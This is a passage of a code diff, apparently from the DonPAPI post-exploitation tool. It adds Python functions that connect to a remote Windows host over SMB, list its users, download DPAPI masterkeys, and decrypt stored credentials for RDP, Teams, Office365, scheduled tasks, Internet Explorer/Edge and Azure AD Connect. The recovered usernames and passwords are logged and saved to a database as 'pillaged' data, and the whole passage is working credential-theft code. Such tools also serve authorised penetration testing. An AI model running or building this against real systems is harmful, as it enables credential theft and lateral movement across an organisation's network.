+ mydpapi = DPAPI(myoptions, self.logging)
+ vault_data, data_type = mydpapi.decrypt_vault()
+ if vault_data != None:
+ user.files[longname]['vcrd'][localfile]['status'] = 'decrypted'
+ user.files[longname]['vcrd'][localfile]['data'] = vault_data
+ user.files[longname]['vcrd'][localfile]['vault_type'] = data_type
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}")
+ self.process_decrypted_vault(user, user.files[longname]['vcrd'][
+ localfile]) # vault_data,user,localfile,my_blob_type,args=[longname2,data_type])
+
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}")
+ self.logging.debug(ex)
+ return 1
+
+ def dump_to_file(self, localfile_encrypted, localdata_decrypted):
+ self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}")
+ try:
+ localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0],
+ os.path.split(localfile_encrypted)[1] + "_decrypted")
+ fh = open(localfile_decrypted, 'wb')
+ fh.write(f"{localdata_decrypted}".encode('utf-8'))
+ fh.close()
+ return 1
+ except Exception as ex:
+ self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
+ try:
+ self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}")
+ blob_type = secret_file['type']
+ localfile = secret_file['path']
+ data = secret_file['data']
+ if blob_type == 'rdg':
+ self.logging.debug("IT S A Remote Desktop Cred file")
+ clear_data = self.dump_credential_blob(data)
+ elif blob_type == 'credential':
+
+ if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in \
+ data['Target'].decode('utf-16le'):
+ clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
+ elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in \
+ data['Target'].decode('utf-16le'):
+ self.logging.debug("IT S A MSTeam Credential!")
+ clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
+ elif 'Domain:batch=TaskScheduler' in data['Target'].decode(
+ 'utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
+ self.logging.debug("IT S A TaskScheduler Cred!")
+ clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data)
+ '''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx}
+ Username : Domain\Administrateur
+ Unknown3 : @&&&&&&&
+ '''
+ elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
+ 'utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
+ 'utf-16le'):
+ self.logging.debug("IT S A Office365 Cred!")
+ clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
+ '''
+ [CREDENTIAL]
+ LastWritten : 2020-02-18 08:48:39
+ Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
+ Persist : 0x3 (CRED_PERSIST_ENTERPRISE)
+ Type : 0x1 (CRED_PERSIST_SESSION)
+ Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com
+ Description :
+ Unknown :
+ Username :
+ Unknown3 : xxxxxxxxx
+
+
+
+ '''
+ elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'):
+ self.logging.debug("IT S A Windows Live service or application Cred!")
+ clear_data = self.dump_credential_blob(user, localfile, data)
+ # ADCONNECT
+ elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'):
+ self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}")
+ clear_data = self.Get_AD_Connect(user, localfile, data)
+ elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'): # Autres Targets
+ self.logging.debug("Other legacy Credential")
+ clear_data = self.dump_credential_blob(user, localfile, data)
+ else:
+ self.logging.debug("Unknown Cred Target content - testing as Credential BLOB")
+ clear_data = self.dump_credential_blob(user, localfile, data)
+ # clear_data = ''
+ secret_file['secret'] = clear_data
+ self.dump_to_file(localfile, clear_data)
+ self.logsecret(clear_data)
+
+ # TSE Account
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_credential_blob(self, user, localfile, decrypted_blob):
+ # from impacket.ese import getUnixTime
+ try:
+ self.logging.debug("Dumping decrypted credential blob info to file")
+ # self.logging.debug(decrypted_blob)
+ info = "\n"
+ info += f"[CREDENTIAL]\n"
+ try:
+ info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
+ info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
+ info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
+ info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
+ self.logging.debug(info)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
+ self.logging.debug(ex)
+ info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
+ info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
+ info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
+ info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
+ try:
+ info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
+ password = f"{decrypted_blob['Unknown3'].decode('utf-16le')}"
+ except UnicodeDecodeError:
+ info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
+ password = f"{decrypted_blob['Unknown3'].decode('latin-1')}"
+ # print()
+ if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}": # "WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ?
+ for entry in decrypted_blob.attributes:
+ try:
+ info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n"
+ info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, entry['Flags'])}\n"
+ info += f"Data : {entry['Data']}\n"
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}")
+ self.logging.debug(ex)
+ entry.dump()
+ continue
+
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='credential-blob',
+ credz_username=decrypted_blob['Username'].decode('utf-16le'),
+ credz_password=password,
+ credz_target=decrypted_blob['Target'].decode('utf-16le'),
+ credz_path=localfile,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+
+ self.logging.debug(info)
+ return info
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_CREDENTIAL_TSE(self, user, localfile, decrypted_blob):
+ # from impacket.ese import getUnixTime
+ try:
+ self.logging.debug("Dumping TSE decrypted credential blob info to file")
+ # self.logging.debug(decrypted_blob)
+ info = "\n"
+ info += f"[CREDENTIAL]\n"
+ try:
+ info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
+ info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
+ info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
+ info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
+ self.logging.debug(ex)
+ info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
+ info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
+ info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
+ info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
+ try:
+ info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
+ password = decrypted_blob['Unknown3'].decode('utf-16le')
+ except UnicodeDecodeError:
+ info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
+ password = decrypted_blob['Unknown3'].decode('latin-1')
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='browser-internet_explorer',
+ credz_username=decrypted_blob['Username'].decode('utf-16le'),
+ credz_password=password,
+ credz_target=decrypted_blob['Target'].decode('utf-16le'),
+ credz_path=localfile,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ self.logging.debug(info)
+ return info
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_CREDENTIAL_MSOFFICE(self, user, localfile, decrypted_blob):
+ # from impacket.ese import getUnixTime
+ try:
+ self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file")
+ # self.logging.debug(decrypted_blob)
+ info = "\n"
+ info += f"[CREDENTIAL]\n"
+ try:
+ info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
+ info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
+ info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
+ info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
+ self.logging.debug(ex)
+ info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
+ info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
+ info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
+ info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
+ try:
+ info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
+ password = decrypted_blob['Unknown3'].decode('utf-16le')
+ except UnicodeDecodeError:
+ info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
+ password = decrypted_blob['Unknown3'].decode('latin-1')
+
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='browser-internet_explorer',
+ credz_username=decrypted_blob['Username'].decode('utf-16le'),
+ credz_password=password,
+ credz_target=decrypted_blob['Target'].decode('utf-16le'),
+ credz_path=localfile,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ self.logging.debug(info)
+ return info
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_CREDENTIAL_TASKSCHEDULER(self, user, localfile, decrypted_blob):
+ # from impacket.ese import getUnixTime
+ try:
+ self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file")
+ # self.logging.debug(decrypted_blob)
+ info = "\n"
+ info += f"[CREDENTIAL]\n"
+ try:
+ info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
+ info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
+ info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
+ info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
+ self.logging.debug(ex)
+ info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
+ info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
+ info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
+ info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
+ try:
+ info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
+ password = decrypted_blob['Unknown3'].decode('utf-16le')
+ except UnicodeDecodeError:
+ info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
+ password = decrypted_blob['Unknown3'].decode('latin-1')
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='taskscheduler',
+ credz_username=decrypted_blob['Username'].decode('utf-16le'),
+ credz_password=password,
+ credz_target=decrypted_blob['Target'].decode('utf-16le'),
+ credz_path=localfile,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ self.logging.debug(info)
+ return info
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def process_decrypted_vault(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
+ try:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}")
+ blob_type = secret_file['type']
+ localfile = secret_file['path']
+ data = secret_file['data']
+
+ if blob_type == 'vault' or blob_type == 'vcrd':
+ try:
+ vault_name = secret_file['vault_name'] # args[0]
+ vault_type = secret_file['vault_type'] # args[1]
+ self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ")
+ if vault_type == 'WinBio Key':
+ data = self.dump_VAULT_WIN_BIO_KEY(user, localfile, data)
+ self.logsecret(f"Vault {vault_name} : {data} ")
+ elif vault_type == 'NGC Local Account Logon Vault Credential':
+ data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user, localfile, data)
+ self.logsecret(f"Vault {vault_name} : {data} ")
+ elif "NGC" in vault_type:
+ data = self.dump_VAULT_NGC_ACCOOUNT(user, localfile, data)
+ self.logsecret(f"Vault {vault_name} : {data} ")
+ elif vault_type == 'Internet Explorer':
+ data = self.dump_VAULT_INTERNET_EXPLORER(user, localfile, data)
+
+ # user.secrets["Vault:%s" % vault_name] = data
+ secret_file['secret'] = data
+ self.dump_to_file(localfile, data)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_VAULT_INTERNET_EXPLORER(self, user, localfile, vault_blob):
+ try:
+ self.logging.debug("Formating VAULT_INTERNET_EXPLORER info")
+ retval = "[Internet Explorer]\n"
+ retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n"
+ retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n"
+ retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n"
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='browser-internet_explorer',
+ credz_username=f"{vault_blob['Username'].decode('utf-16le')}",
+ credz_password=f"{vault_blob['Password'].decode('utf-16le')}",
+ credz_target=f"{vault_blob['Resource'].decode('utf-16le')}",
+ credz_path=localfile,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [IE/EDGE Password] {bcolors.ENDC} for {vault_blob['Resource'].decode('utf-16le')} [ {bcolors.OKBLUE}{vault_blob['Username'].decode('utf-16le')} : {vault_blob['Password'].decode('utf-16le')}{bcolors.ENDC} ]")
+ return retval
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_VAULT_WIN_BIO_KEY(self, user, localfile, vault_blob):
+ try:
+ self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file")
+ retval = "\n[WINDOWS BIOMETRIC KEY]\n"
+ retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
+ retval += f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n"
+ retval += f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n"
+ return retval
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_VAULT_NGC_LOCAL_ACCOOUNT(self, user, localfile, vault_blob):
+ try:
+ self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file")
+ retval = "\n[NGC LOCAL ACCOOUNT]\n"
+ retval += 'UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"])
+ retval += 'IV : %s\n' % hexlify(vault_blob["IV"])
+ retval += 'CipherText : %s\n' % hexlify(vault_blob["CipherText"])
+ return retval
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def dump_VAULT_NGC_ACCOOUNT(self, user, localfile, vault_blob):
+ try:
+ self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file")
+ retval = "\n[NGC VAULT]\n"
+ retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
+ retval += 'Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le')
+ # A completer ?
+ vault_blob['Blob'].dump()
+
+ return retval
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def do_who(self):
+ # if self.loggedIn is False:
+ # self.logging.error("Not logged in")
+ # return
+ rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
+ smb_connection=self.smb)
+ dce = rpctransport.get_dce_rpc()
+ dce.connect()
+ dce.bind(srvs.MSRPC_UUID_SRVS)
+ resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
+
+ for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
+ self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % (
+ session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
+ session['sesi10_idle_time']))
+ self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1])
+
+ def get_users(self):
+ self.logging.debug("Listing Users by enumerating directories in $Share\\Users")
+ blacklist = ['.', '..', 'desktop.ini']
+ shares = self.myfileops.get_shares()
+ # Intégrer les users share du premier test
+ if 'C$' in shares: # Most likely
+ self.myfileops.do_use('C$')
+ # self.myfileops.pwd = 'Users'
+ completion = self.myfileops.do_ls('Users', '*', display=False)
+ for infos in completion:
+ longname, is_directory = infos
+ if is_directory and longname not in blacklist:
+ for user in self.users:
+ if longname == user.username:
+ break
+ else:
+ self.users.append(MyUser(longname, self.logging, self.options))
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
+ user = self.GetUserByName(longname)
+ self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
+ user.share = 'C$'
+ else:
+ for share in shares:
+ self.myfileops.do_use(share)
+ # self.pwd = 'Users'
+ completion = self.myfileops.do_ls('Users', '*', display=False)
+ for infos in completion:
+ longname, is_directory = infos
+ if is_directory and longname not in blacklist:
+ for user in self.users:
+ if longname == user['username']:
+ break
+ else:
+ self.users.append(MyUser(longname, self.logging, self.options))
+ self.logging.debug(
+ f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
+ user = self.GetUserByName(longname)
+ self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
+ user.share = share
+ # +ADD LOCAL MACHINE ACCOUNT
+ user = MyUser("MACHINE$", self.logging, self.options)
+ user.type = 'MACHINE'
+ user.share = 'C$'
+ self.users.append(user)
+ self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
+ return self.users
+
+ def get_masterkeys(self):
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}")
+ blacklist = ['.', '..']
+ # self.get_shares()
+ # self.get_users()
+ for user in self.users:
+ if user.username != 'MACHINE$':
+ try:
+ tmp_pwd = ntpath.join(ntpath.join('Users', user.username), 'AppData\\Roaming\\Microsoft\\Protect')
+ self.logging.debug(
+ f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd)
+ my_directory = self.myfileops.do_ls(tmp_pwd, '', display=True)
+ for infos in my_directory:
+ try:
+ longname, is_directory = infos
+ if longname not in blacklist:
+ self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys")
+ if is_directory and longname[:2] == 'S-': # SID
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
+ user.sid = longname
+ if user.sid.startswith('S-1-5-80'):
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
+ user.is_adconnect = True
+ # user.check_usertype()
+ tmp_pwd2 = ntpath.join(tmp_pwd, longname)
+ my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
+ for infos2 in my_directory2:
+ longname2, is_directory2 = infos2
+ if not is_directory2 and is_guid(longname2): # GUID
+ self.download_masterkey(user, tmp_pwd2, longname2, type='USER')
+ elif is_directory:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname)
+ else:
+ self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname)
+ if "CREDHIST" in longname:
+ self.download_credhist(user, tmp_pwd, longname, type='USER')
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}")
+ self.logging.debug(ex)
+ continue
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}")
+ self.logging.debug(ex)
+ continue
+ ##MACHINE MASTERKEYS
+ try:
+ user = self.GetUserByName('MACHINE$')
+ # Make a "MACHINE$" user
+ """user=MyUser("MACHINE$",self.logging,self.options)
+ user.type='MACHINE'
+ self.users.append(user)"""
+
+ tmp_pwd = 'Windows\\System32\\Microsoft\\Protect' # Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ?
+ self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd)
+ my_directory = self.myfileops.do_ls(tmp_pwd, '', display=False)
+ for infos in my_directory:
+ longname, is_directory = infos
+ if longname not in blacklist:
+ if is_directory and longname[:2] == 'S-': # SID
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
+ user.sid = longname
+ if user.sid.startswith('S-1-5-80'):
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
+ user.is_adconnect = True
+ tmp_pwd2 = ntpath.join(tmp_pwd, longname)
+ my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
+ for infos2 in my_directory2:
+ longname2, is_directory2 = infos2
+ if longname2 not in blacklist:
+ if not is_directory2 and is_guid(longname2): # GUID
+ # Downloading file
+ self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE')
+ elif is_directory2 and longname2 == 'User': # On se limite a ca pour le moment
+ tmp_pwd3 = ntpath.join(tmp_pwd2, longname2)
+ my_directory3 = self.myfileops.do_ls(tmp_pwd3, '', display=False)
+ for infos3 in my_directory3:
+ longname3, is_directory3 = infos3
+ if longname3 not in blacklist:
+ if not is_directory3 and is_guid(longname3): # GUID
+ self.logging.debug(
+ f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}")
+ # Downloading file
+ self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER')
+ else:
+ self.logging.debug(
+ "Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3))
+ else:
+ self.logging.debug(
+ "Found unexpected file/directory %s in %s" % (tmp_pwd2, longname2))
+ elif is_directory:
+ self.logging.debug("Found (not SID) Directory %s" % longname)
+ else:
+ self.logging.debug("Found file %s" % longname)
+ if "CREDHIST" in longname:
+ self.download_credhist(user, tmp_pwd, longname, type='MACHINE')
+
+ except Exception as ex:
+ self.logging.error(
+ f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}")
+ self.logging.debug(ex)
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}")
+
+ def download_credhist(self, user, tmp_pwd, longname, type='MACHINE'):
+ # Downloading file
+ try:
+
+ self.logging.debug(
+ f"[{self.options.target_ip}] [...] Downloading CREDHIST {user.username} {tmp_pwd} {longname}")
+ # from DonPAPI.lib.dpapi_pick.credhist import CredHistFile
+ # localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
+ '''f=open(localfile,'rb')
+ credhistdata = f.read()
+ f.close()
+ myCredhistfile = CredHistFile(raw=credhistdata)
+
+ print(repr(myCredhistfile))
+ #myCredhistfile = CredHistFile(raw=credhistdata)
+ for username in self.options.credz:
+ if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
+ self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username} CREDHIST")
+ for password in self.options.credz[username]:
+ ret=myCredhistfile.decryptWithPassword(password)
+ print(ret)
+ '''
+ except Exception as ex:
+ self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Decrypting Credhist{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def download_masterkey(self, user, path, guid, type):
+ guid = guid.lower()
+ if is_guid(guid):
+ self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}")
+ # Downloading file
+ localfile = self.myfileops.get_file(ntpath.join(path, guid))
+ # Get Type and hash
+ try:
+ myoptions = copy.deepcopy(self.options)
+ myoptions.sid = user.sid
+ myoptions.username = user.username
+ myoptions.pvk = None
+ myoptions.file = localfile # Masterkeyfile to parse
+ # myoptions.key = key.decode("utf-8")
+ mydpapi = DPAPI(myoptions, self.logging)
+ if self.options.GetHashes == True:
+ masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True)
+ else:
+ masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False)
+ except Exception as ex:
+ self.logging.error(
+ f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}")
+ self.logging.debug(ex)
+ try:
+ user.masterkeys_file[guid] = {}
+ user.masterkeys_file[guid]['path'] = localfile
+ user.masterkeys_file[guid]['status'] = 'encrypted'
+ if self.options.GetHashes == True:
+ user.masterkeys_file[guid]['hash'] = masterkey_hash
+ if is_domain_sid and user.username != 'MACHINE$':
+ type = 'DOMAIN'
+ user.type_validated = True
+ user.type = type # LOCAL,DOMAIN,MACHINE,MACHINE-USER
+ self.db.add_sid(username=user.username, sid=user.sid)
+ self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
+ status=user.masterkeys_file[guid]['status'],
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ if self.options.GetHashes == True:
+ for hash in user.masterkeys_file[guid]['hash']:
+ self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid,
